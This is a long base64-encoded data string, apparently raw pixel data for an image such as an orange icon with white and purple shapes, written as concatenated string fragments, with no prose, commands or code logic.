P///fj/w/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/E/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+KUf//p33//9G7///w + 6P///Pr///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///38///07///2cf//7ON//+UX///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Yf9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+JUP//pXr//9jE///49P///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////7////////+ + /f//+fX//+LT//+6mf//k1///4JE//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj9hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PxD/fj/q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+FSv//oHH//862///18P////7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+/////v///////////////////v7///n3///g0P//soz//4xT//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P+r/fj8SAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qv//j1n//7ua///s4////f3///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////7///7+///28v//0r3//59x//+FSv//f0D//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4AAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pw3/fj/u/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gUT//5pp///Vwf//+fb////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /f//7OL//7iV//+OVv//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7v9+ + Pw0AAAAAAAAAAAAAAAAAAAAA/34/dP9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4VJ//+k + eP//4tT///79//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////+/f//9vH//8yz//+XZP//gEH//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/dAAAAAAAAAAAAAAAAP9+PwH/fj/b/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+FSv//rYT//+ne///+/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////v//+/j//9vK//+ca///gkT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/b/34/AQAAAAAAAAAA/34/O/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0f//6yD///s + 4v///v3//////////////v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///v7//+PV//+k + d///g0b//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj87AAAAAAAAAAD/fj+Q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4RH//+off//6uD///7+/////v/////////////+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7////+/////v///fv//+PW//+idf//gUP//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P5AAAAAAAAAAAP9+P9j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+AQf//nm7//+TX///9 + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v7////+//// + /v///fz//+PV//+ebv//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2QAAAAD/fj8d/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///45W///SvP///Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//////////v///fz//9zM//+YZf//f0D//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/Hv9+P1b/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GSv//u5r///n1//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////+/n//863//+LUv//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj9W/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///gEH//59x///s4v////////////////////////////////////////////7+ + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v//9/L//7SQ//+E + R///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj+t/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//zLL///z7//// + /////////////////////////Pv///f0/v/x6/7/7+n9//Tv/v/6+P7//v7///////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////+/f//+/n///j1/v/38/7/+fb+//38 + ///////////////////////////////+/v//6d7//5tp//9/QP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/rf9+ + P8z/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//6J0///u5v////7//////////////////v7///n2/v/o3v3/0sD6/8ew + +f/Frvn/y7b6/9zO+//y7P7//fz///////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r///Hr/v/h1fz/1sX7/9PB+v/ay/v/6N/9//f0/v/+/v/////////////////////////9 + /P//ya///4ZL//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/M/34/5f9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GS///ya////z7//// + ///////////////////59/7/49j8/8Go+f+vj/f/qof2/6mG9v+sivb/t5n3/9C9+v/x6/7//v7///// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////z6///r4/3/zLf6/7OU9/+qh/b/qYb2/62M + 9v+9ovj/28z7//by/v////////////////////////7+///w6P//oHH//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P+D/fj/y/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5hl///r4f////7//////////////////fz//+zl/f/ErPn/q4n2/6mG + 9v+phvb/qYb2/6mG9v+qh/b/tJX3/9fH+//59/7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///+/f//8ev+/8y3+v+sivb/qYb2/6mG9v+phvb/qYb2/6qH9v+3mvf/39L8//v6//////////////// + /v////////z7///Jrv//h03//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/7P9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//sYz///v5//// + ///////////////////6+P7/3dD7/7CP9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////v5///h1Pz/s5T3/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6yL9v/ErPn/8+7+/////////////////////v///v7//+zi//+bav//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/5/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4ZL///Quv///v7///////////////////////f0/v/Uw/v/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+4m/j/6eD9//7+//////////////////////////////// + //////////////////////////////////////////////////////////////////////////7+///9 + /f///Pv///z7///9/f///v7///////////////////7+///+/f///f3///7+//////////////////// + /////v7///39//////////////////////////////////////////////////////////////////// + ////////+PX+/9bF+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7mc+P/q4v3//v7///// + //////////7+///+/v//+vf//7aR//+BQ///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///lF///+ne//// + ////////////////////////9/T+/9TD+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7ib + +P/p4P3//v7///////////////////////////////////////////////////////////////////// + ///////////////////////////////8+///5tr//8mv//+/oP//vp///8mv///g0f//9O////n3///x + 6///2cb//8uy///Svf//6d////r3///+/f/////////////+/v////////////////////////////// + ///////////////////////////////////////////////////39P7/08H6/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6mG9v+phvb/t5r3/+jf/f/+/v/////////////////////////+/f//1L///4tS//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+keP//9/P////////////////////////////6+P7/3dD7/7CP + 9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr/f////////////////////////////// + /////////////////////////////////////////////////////////////////////////+vi//+l + ev//h03//4JF//+AQv//iU///5hl//+uhv//sYv//6uC//+RW///iE7//49Z//+fcP//zrf///by//// + //////////////////////////////////////////////////////////////////////////////// + //////////////n2/v/ay/v/rYz2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/6qI9v+9ovj/7uf9//// + ///////////////////////////////t5P//m2r//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///7CJ///7 + +f////////////////////////////38///s5f3/xKz5/6uJ9v+phvb/qYb2/6mG9v+phvb/qof2/7SW + 9//Xx/v/+ff+//////////////////////////////////////////////////////////////////// + ///////////////////////////////59v//waP//6yE//+6mf//w6b//7eT//+cbP//h0z//4NH//+C + RP//hkr//5Fb//+gcv//pHj//6By//+pf///7eX///////////////////////////////////////// + /////////////////////////////////////////////////////////Pv//+jf/f+9ovj/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/sZH3/8+8+v/49f7///////////////////////////////////n2//+r + gf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//vZz///38//////////////////////////////////n3 + /v/j2Pz/waj5/6+P9/+qh/b/qYb2/6yK9v+3mff/0L76//Tr+P///v3///////////////////7+//// + //////////////////////////////////////////////////////////////////////////Pu///I + rf//6d7///r3///9/f//+vj//+DR//+uhv//iU///4tS//+vh///z7f//+TW///n3P//3Mr//9K8///3 + 9P////////////////////////////////////////////////////////////////////////////// + ////////////////////////9/T+/9vM+/+3mvf/rIv2/6mG9v+phvb/qoj2/7GR9//Grvn/7OT9//39 + /////////////////////////////////////Pv//7WS//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4NG///L + sf///v3//////////////////////////////////v7///n2/v/o3v3/0sD6/8ew+f/Frfn/y7b6/9zO + +//+6+L///z7/////////Pr///Tu///x6v//8On///Xw///7+v///v7///////////////////////// + /////////////////////////////////////v7///79/////////////////////////fz//9rI//+f + cf//xKj///Dp///+/f///v7///7+///8+v//+vf///79//////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//9vL+/9/S + /P/ErPn/uZz4/7ea9/+9ovj/z7z6/+zk/f/8+//////////////////////////////////////////9 + /P//wKL//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///iE7//9jF///+/f////////////////////////////// + //////////////z7///39P7/8ev+/+/p/f/07/7//vj2//728///4dL//8Wo//+qgP//mWf//5Nf//+c + a///uZb//9rI///18f///v7///////////////////////////////////////////////////////// + ///////////////////////////////+/v//9vH//+bZ///18P///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////79///6 + 9///9vH///Pt///v6P//7+j///Xx//77+v///v7///n2//Pu/v/q4v3/6N/9/+7n/f/39P7//f3///// + //////////////////////////////////////////38///Ms///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+M + VP//39D///79//////////////////////////////////////////////////////////////79///+ + /v//+PT//8Kl//+JT///f0H//34///9+P///f0D//4BC//9/QP//jFP//7mX///r4f///fz///////// + ///////////////////////////////////////////////////////////////////////////////+ + /v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////z7///p3v//ya///6F0//+OVv//iU///4lP//+LU///m2v//7+f///i + 0//+9/P///7+///+/f///f3///////////////////////////////////////////////////////// + /////f3//9O9//+GSv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////Tv///Irv//hEj//39A//9+P///fj///39A//+J + T///oHH//4RI//9+P///gEH//6Bx///i1P///fz///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///5dn//5Fb//9/ + QP//fj///34///9+P///fj///34///9+P///f0H//4hO//+yjP//7+j///////////////////////// + ///////////////////////////////////////////////+/f//077//4ZK//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jFP//+DQ///+/f////////////////////////////////////////////////////////////// + ////2sf//5Fb//9/QP//fj///34///9+P///gEL//6Bx///r4v//lGD//34///9+P///gEH//6R3///v + 5/////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v3//+PV//+5lv//f0D//34///9+P///fj///34///9+P///gkT//49Z//+D + R///fj///4BB//+jdv//6uD///////////////////////////////////////////////////////// + //////////38///Lsf//gkX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+LUv//3s7///79//////////////////// + ///////////////////////////////////////////////Jrv//hEf//39A//9+P///gEH//4NG//+E + R///iE3//5Vh//+CRf//fj///34///9+P///hEj//9O+///9/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////49P//t5T//5Zi//9+ + P///fj///34///9+P///fj///34///+QWv//2cb//5pp//+AQf//fj///4BC///Cpf////////////// + /////////////////////////////////////////////////////fv//7+f//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4hO///ayf///v3///////////////////////////////////////////////////////// + /////////8+4//+ESP//f0D//4JE//+SXf//rIT//7KN//+eb///hkv//39A//9+P///fj///34///9/ + QP//v5////z6//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////Dp//+cbP//jlb//4BB//+GSv//iVD//4RI//9/QP//fj///4hO//+y + jf//jlf//39B//9+P///fj///7GK//////////////////////////////////////////////////// + ///////////////8+v//tJD//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEj//9G7///9/P////////////// + ////////////////////////////////////////////////////4tP//45W//+AQf//kFn//76f///o + 3P//7eT//9S///+hdP//gUT//34///9+P///fj///34///+/oP//+/r///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////8On//5Zi//+J + UP//l2T//8So///YxP//vZ3//5Ba//9/Qf//f0H//4VK//+AQv//fj///39A//+CRf//xqr///////// + //////////////////////////////////////////////////////7///r4//+thf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQf//w6b///38//////////////////////////////////////////////////// + ///////////////z7v//sIn//4NH//+fcf//4tT/////////////8uz//7+f//+FSv//fj///34///9+ + P///g0b//9fD///+/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////18P//nW7//4tT///Jrv//+vf///z6///07v//vp7//4RI//9+ + P///fj///34///9+P///f0D//45X///ezv////////////////////////////////////////////// + ////////////////////9fH//6R4//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+0jv//+/n///////// + ////////////////////////////////////////////////////+/n//+/o///Otv//kFn//6Bx///i + 1P/////////////y7P//v5///4VK//9+P///fj///4BC//+ofv//8uv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////v6//+o + fv//k1///+PV//////////////v6///YxP//ilD//34///9+P///fj///34///+CRP//tI////Ls//// + //////////////////////////////////////////////////////////7+///t5P//mmn//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6d8///38/////////////////////////////////////////////// + /////v7///Tu///VwP//r4f//5xr//+OV///lmP//7+f///o3P//7eT//9S///+hdP//gUT//34///+D + Rv//qoD//+jc///9/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//863//+UYP//0Lr/////////////+ff//8Wo//+G + Sv//fj///34///9+P///gUP//55u///ezv//+/n///////////////////////////////////////// + /////////////////////v3//9zL//+NVf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mWj//+/o//// + ///////////////////////////////////////////////y6///u5n//5Zi//+aaf//uJX//8es///H + rP//rIT//7CJ//+zjf//n3D//4dN//+AQv//g0f//62F///x6////f3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////9vH//8Wo//+shP//0Lr//+PV///Jrv//lmP//4BB//9+P///f0D//4BC//+FSf//lmL//7WR///Y + xP//6+H///n3///+/v/////////////////////////////////////////////8+///xaj//4NG//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+NVP//4ND////+//////////////////////////////////// + /////fz//9jE//+LUv//sIr//+HS///z7f//+vf///v5///t5P//0Lr//66H//+ofv//t5T//8Wo///X + w///9vH///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//+TX///Fqf//r4f//51t//+R + XP//iU///4JE//+WYv//v5///8mv//+3lP//mmn//5Vi//+lef//1cD///n3//////////////////// + //////////////////////////r3//+uhv//f0D//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4JF///G + qf///v3////////////////////////////////////////69///0rz//6R4///j1v///f3///////// + //////////79///cyv//k17//6+H///v5////Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////z7///z7v//6t///+XY///Lsv//lWH//6yD///u5f///Pr///Pu///j + 1v//ya7//6J0//+rgf//7uX/////////////////////////////////////////////8uv//51u//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///f0D//6qA///38/////////////////////////////// + //////////7+///39P//7+f///z6////////////////////////9fH//7qZ//+YZv//3Mr///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////fz///FqP//h03//9O9///9/P////////7+///18f//1L///72c///y7P////////////// + ///////////////////////////+///dzP//jlb//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///lF///+ba/////v////////////////////////////////////////////////////////////// + ///////////////x6v//sYv//6uB///t5f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7//+XY//+aaP//rof///Lr//// + //////////7+///59///9O////38/////////////////////////////////////////Pr//7+g//+C + Rf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+ESP//y7L///38//////////////////// + //////////////////////////////////////////////////////////n3///dzP//3Mv///n3//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////7ub//6l///+sg///8Oj///////////////////////////////////////// + /////////////////////v7///7+///w6P//nm///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+wif//+vf///////////////////////////////////////////////////////// + /////////////////////v7///v5///7+f///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///7+f//+/n///8 + +////////////////////////////////////////////////////v3///79///+/v///fz//9O9//+I + Tv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Zj///p3v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////9/P///v3///7+///38///sIr//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hEj//8Gj///7+v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////+///+/v///v3//+DR//+U + X///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/QP//l2X//+fc///+ + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///38///uJX//4RH//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+DR///vp7///r3//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////f3//9rJ//+S + XP//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+Z + Z///5tr///79/////////////////////////////////////////v3///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + 